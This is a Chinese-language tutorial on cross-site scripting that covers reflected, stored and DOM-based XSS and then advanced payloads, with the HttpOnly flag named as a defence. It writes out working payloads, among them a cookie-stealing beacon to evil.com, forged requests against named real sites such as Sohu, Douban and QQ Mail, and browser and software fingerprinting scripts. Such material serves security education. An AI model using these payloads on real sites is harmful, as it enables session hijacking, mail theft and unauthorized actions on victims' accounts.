技術干貨 > 文章詳情

三国全面战争游戏观看:帶你玩轉跨站腳本攻擊cross site script

柳絮飄飄_joan2年前

跨站腳本攻擊 cross site script

    通常指黑客通過“HTML注入”纂改了頁面,插入了惡意的腳本,從而在用戶瀏覽頁面時,控制用戶瀏覽器的一種攻擊。在一開始,這種攻擊的演示案例是跨域的,所以叫“跨站腳本”。但是發展到今天,由于Javascript的強大功能以及網站前端應用的復雜化,是否跨域已經不再重要。但是由于歷史原因,這個名字保留了下來。

假設一個頁面把用戶輸入的參數輸出到頁面上:
<?php
$input=$_GET[“param”];
echo “<div>”.$input.”</div>”;
?>
如果提交一段HTML代碼:
//www.a.com/test.php?param=<script>alert(/xss/)</script>
會發現alert(/xss/)被執行了。

XSS分為以下幾類:
1)反射型XSS: 只是簡單地把用戶輸入的數據反射給瀏覽器,黑客需要誘使用戶點擊鏈接。也叫作非持久型XSS“(Non-persistent XSS)
 2)存儲型XSS:把用戶輸入的數據存儲在服務器端。這種XSS具有很強的穩定性。
比較常見的一個場景是,黑客寫下一篇包含惡意Javascript代碼的博客文章,文章發表后,所有訪問該博客文章的用戶,都會在他們的瀏覽器中執行這段惡意的Javascript        碼。黑客把惡意的腳本保存在服務器端,所以中
XSS攻擊就叫做存儲型XSS”。存儲型XSS也叫持久性XSS
3)DOM based XSS:從效果上來說也是一種反射型XSS。通過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS。
看如下代碼:
<script>
function test(){
var str=document.getElementById(“text”).value;
document.getElementById(“t”).innerHTML=”<a href='”+str+”‘ >testLink</a>”;
}
</script>
<div id=”t”></div>
<input type=”text” id=”text” value=”” />
<input type=”button” id=”s” value=”write” onlick=”test()” />

這段代碼的作用就是點擊write按鈕后在當前頁面插入一個鏈接。在test()函數中,修改了頁面的DOM節點,通過innerHTML把一段用戶數據當作HTML寫入到頁面中,這就造成了DOM based XSS
構造如下數據:
‘ onclick=alert(/xss/) //
輸入后,頁面代碼就成了
<a href=” onlick=alert(/xss/) //’ >testLink </a>
首先用一個單引號閉合掉href的第一個單引號,然后插入一個onclick事件,最后再用注釋符//注釋掉第二個單引號。 這里為什么需要onclick,是通過on事件觸發?

實際上,這里還有另外一種利用方式除了構造一個新事件外,還可以選擇閉合掉<a>標簽,并插入一個新的HTML標簽。嘗試如下輸入:
‘><img scr=# onerror=alert(/xss2/) /><‘
頁面代碼編程
<a href=”><img scr=# onerror=alert(/xss2/) /><”>testLink</a>  這里是onerror事件

2,XSS攻擊進階:
1)初探XSS Payload:
XSS Payload就是JavaScript腳本(還可以是Flash或其他富客戶端的腳本),所以任何Javascript腳本能做到的事情,XSS Payload都能做到。
一個最常見的XSS Payload就是讀取瀏覽器的Cookie對象,從而發起”Cookie劫持攻擊。
Cookie中一般加密保存了當前用戶的登錄憑證。Cookie如果丟失,往往意味著用戶的登錄憑證丟失?;瘓浠八?,攻擊者可以不用通過密碼,而直接登錄進用戶的賬戶。
如下所示,攻擊者先加載一個遠程腳本:
//www.a.com/test.htm?abc=”><script scr=//www.evil.com/evil.js ></script>
真正的XSS Payload現在這個遠程腳本中,避免直接在URL的參數里寫入大量的JavaScript代碼。
evil.js中,可以通過如下代碼竊取Cookie:
var img=document.createElement(“img”);    創建一個img對象
img.src=”//www.evil.com/log?”+escape(document.cookie);
document.body.appendChild(img);        img對象插入到節點
這段代碼在頁面中插入了一張看不見的圖片,同時把document.cookie對象作為參數發送到遠程服務器。
事實上,//www.evil.com/log并不一定要存在,因為這個請求會在遠程服務器的Web日志中留下記錄。
這樣就完成了一個最簡單的竊取CookieXSS Payload。
黑客可以用這個Cookie直接登錄。
防止:Cookie“HttpOnly”標識可以防止”Cookie劫持,我們將在稍后的章節中在具體介紹。HttpOnly表明cookie存在于http層面,不能被客戶端腳本讀取

 2)強大的XSS Payload:
cookie劫持并非每次都有效,有的網站會在set-cookie時給關鍵cookie植入httponly標識,有的網站則會吧cookie與客戶端ip綁定
a)網站上的應用,只需要接受HTTPGET POST請求,即可完成所有操作,那么可以通過javascript構造GET POST請求就可以讓應用執行操作。
例如在Sohu上有一篇文章, 想通過XSS刪除它,該如何做呢?
假設Sohu博客所在域的某頁面存在XSS漏洞,那么通過JavaScript,這個過程如下:
正常刪除該文章的鏈接是:
//blog.sohu.com/manage/entry.do?m=delete&id=156713012
對于攻擊者來說,只需要直到文章的id,就能夠通過這個請求刪除這篇文章了。
攻擊者可以通過插入一張圖片來發起一個get請求:

var img=document.createElement(“img”);
img.scr=”//blog.sohu.com/manage/entry.do?m=delete&id=156713012″;
document.body.appendChild(img);

攻擊者只需要讓博客的作者執行這段JavaScript代碼(XSS Payload),就會把這篇文章刪除。在具體攻擊中,攻擊者將通過XSS誘使用戶執行XSS Payload。

如果網站應用者接受POST請求,那么攻擊者如何實施XSS攻擊呢?
攻擊者將通過Javascript發出一個post請求            在分析的過程中,可以先抓正常提交表單是的post包,然后構造
第一種方法是構造一個form表單,然后自動提交這個表單:

var f=document.createElement(“form”);
f.action=””;
f.method=”post”;
document.body.appendChild(f);

var i1=document.createElement(“input”);
i1.name=” ck”;
i1.value=” JiuY”;
f.appendChild(i1);

var i2=document.createElement(“input”);
i2.name=” mb_text”;
i2.value=”testtestseset”;
f.appendChild(i2);

f.submit();

如果表單參數很多的話,通過構造DOM的方式,代碼將會很冗長。所以可以直接寫HTML代碼:
var dd=document.createElement(“div”);
document.body.appendChild(dd);
dd.innerHTML='<form action=”” method=”post” id=”xssform” name=”mbform”>’+
‘<input type=”hidden” name=”ck” value=”JiuY” />’+
‘<input type=”hidden” name=”mb_text” value=”testetst” />’ +
‘</form’

document.getElementById(“xssform”).submit();

第二種方法是,通過XMLHttpRequest發送一個POST請求:
var url=”//www.douban.com”;
var postStr=”ck=JiuY&mb_text=test1234″;
var ajax=null;
if (window.XMLHttpRequest){
ajax=new XMLHttpRequest();
} else if (window.ActiveXObject){
ajax=new ActiveXObject(“Microsoft.XMLHTTP”);
} else {
return;
}

ajax.open(“POST”,url,true);
ajax.setRequestHeader(“Content-Type”,”application/x-www-form-urlencoded”);
ajax.send(postStr);

ajax.onreadystatechange=function(){
if (ajax.readyState==4 && ajax.status==200){
alert(“Done”);
}
}
可以看出,在XSS攻擊后,除了可以實施cookie劫持外,還能夠通過模擬GET POST請求操縱用戶的瀏覽器。
下面的例子將演示如何通過XSS Payload讀取QMail用戶的郵件文件夾:
首先看看正常的請求是如何獲取到所有的郵件列表的。登錄郵箱后,點擊收件箱后。抓包發現瀏覽器發出了如下請求:
//m57.mail.qq.com/cgi-bing/mail_list?sid=6a1hx3p5yzh…&folderid=1&page=0&s=index&loc=folderlist,,,1

經過分析,真正能訪問到郵件列表的鏈接是:
//m57.mail.qq.com/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=6a1hx…

這里有一個無法直接構造出的值:sid。從字面推測,這個sid參數應該是用戶ID加密后的值。
所以XSS Payload的思路是先獲取到sid的值,然后構造完整的URL,并使用XMLHttpRequest請求到此URL,應該就能得到郵件列表了。XSS Payload如下:
if (top.window.location.href.indexOf(“sid=”)>0){
var sid=top.window..location.href.substr(top.window.location.href.indexOf(“sid=”)+4,24);
}

var folder_url=”//”+top.window.location.host+”/cgi-bin/mail_list?folderid=1&page=0&s=inbox&sid=”+sid;

var ajax=null;
if (window.XMLHttpRequest){
ajax=new XMLHttpRequest();
} else if (window.ActiveXObject){
ajax=new ActiveXObject(“Microsoft.XMLHTTP”);
} else {
return;
}

ajax.open(“GET”,folder_url,true);
ajax.send(null);

ajax.onreadystatechange=function(){
if (ajax.readyState==4 && ajax.status==200){
alert(ajax.responseText);
//document.write(ajax.responseText);
}
}

郵件列表的內容成功被XSS Payload獲取到。

b)釣魚:
XSS并非萬能。前面的例子都是Javascript腳本,缺少與用戶的交互”,碰到驗證碼,和修改密碼時需要輸入舊密碼,XSS Payload就會失效。
對于驗證碼,XSS Payload可以讀取頁面的內容,將驗證碼的圖片URL發送到遠程服務器上來實施攻擊者可以在遠程XSS后臺接收當前驗證碼,并將驗證碼的值返回給當前的XSS Payload,從而繞過驗證碼。
修改密碼的問題比較復雜,為了竊取密碼,攻擊者可以將XSS釣魚結合。
實現思路很簡單:利用Javascript在當前頁面上畫出一個偽造的登錄框,當用戶在登錄框中輸入用戶名和密碼后,其密碼將被發送到黑客的服務器上。

c)識別用戶瀏覽器:
通過識別用戶的瀏覽器、操作系統就可以執行一次精準的內存攻擊
可以通過javascript腳本識別瀏覽器版本:
1,通過XSS讀取瀏覽器的UserAgent對象:alert(navigator.userAgent);
但是userAgent是可以偽造的。這個信息不一定準確。
2,由于瀏覽器之間的實現存在差異,利用這種差異分辨瀏覽器幾乎不會錯誤。
通過如下代碼;
B=(function x(){})[-5]==’x’?’FF3′:(function
x(){})[-6]==’x’?’FF2′:/a/[-1]==’a’?’FF’:’\v’==’v’?’IE’:/a/.__proto__==’//’?’Saf’:/s/.
test(/a/.toString)?’Chr’:/^function \(/.test[].sort)?’Op’:’Unknow’
d)識別用戶安裝的軟件:
IE中,可以通過判斷ActiveX控件的classid是否存在,來推測用戶是否安裝了該軟件。這種方法很早就被用于
掛馬攻擊”–黑客通過判斷用戶安裝的軟件,選擇對應的瀏覽器漏洞,最終達到植入木馬的目的。
看如下代碼:
try {
var Obj=new ActiveXObject(‘XunLeiBHO.ThunderIEHelper’);
} catch (e){
//異常了,不存在該控件
}
通過收集常見軟件的classid,就可以掃描出用戶電腦中安裝的軟件列表,甚至包括軟件的版本。
一些第三方軟件也可能會泄漏一些信息。比如Flash有一個system.capabilities對象,能夠查詢客戶端電腦中的硬件信息。
XSS Payload中,可以在FlashActionScript中讀取system.capabilities對象后,將結果通過ExternalInterface傳給頁面的javascript。

Firefox的插件(Plugins)列表存放在一個DOM對象中,通過查詢DOM可以遍歷出所有的插件:
所以直接查詢”navigator.plugins”對象,就能找到所有的插件了。例如 navigator.plugins[0]
Firefox的擴展(extension):通過檢測擴展的圖標,來判斷某個特定的擴展是否存在。
firefox中有一個特殊的協議: chrome:// ,Chrome的擴展圖標可以通過這個協議被訪問到。比如Flash Got擴展的圖標,可以這樣訪問:
chrome://flashgot/skin/icon32.png
掃描firefox擴展時,只需在Javascript中加載這張圖片,如果加載成功,則擴展存在;反之,擴展就不存在。
var m=new Image();
m.onload=function(){
alert(1);//圖片存在
};
m.onerror=function(){
alert(2);//圖片不存在
};
m.src=”chrome://flashgot/skin/icon32.png”; //連接圖片

   e)CSS History Hack:
另一種XSS Payload—通過CSS,來發現一個用戶曾經訪問過的網站。
原理是利用stylevisited屬性如果用戶曾經訪問過某個鏈接,那么這個鏈接的顏色會變的與眾不同。
<body>
<a href=# >曾經訪問過</a>
<a href=”notexist”>未曾經訪問過</a>
</body>
往上存在利用POC,firefox已經修補了這個漏洞


版權?;ど鰨罕疚淖?/www.hekaiyu.cn/xss/272.html ,本文僅代表作者觀點,麥子學院可能會進行刪節修改,但不代表麥子學院的官方立場。我們極其尊重并?;ぴ醋髕返陌嬡?,若原作者有任何疑問,請聯系微信號:chengxuyuan8

版權?;ど鰨罕疚淖?/www.hekaiyu.cn/xss/272.html,本文僅代表作者觀點,麥子學院可能會進行刪節修改,但不代表麥子學院的官方立場。我們極其尊重并?;ぴ醋髕返陌嬡?,若原作者有任何疑問,請聯系微信號:chengxuyuan8


0

登錄 后參與討論

沒有更多評論了

免費領取價值1888元求職寶典!

客服熱線 400-862-8862

回到頂部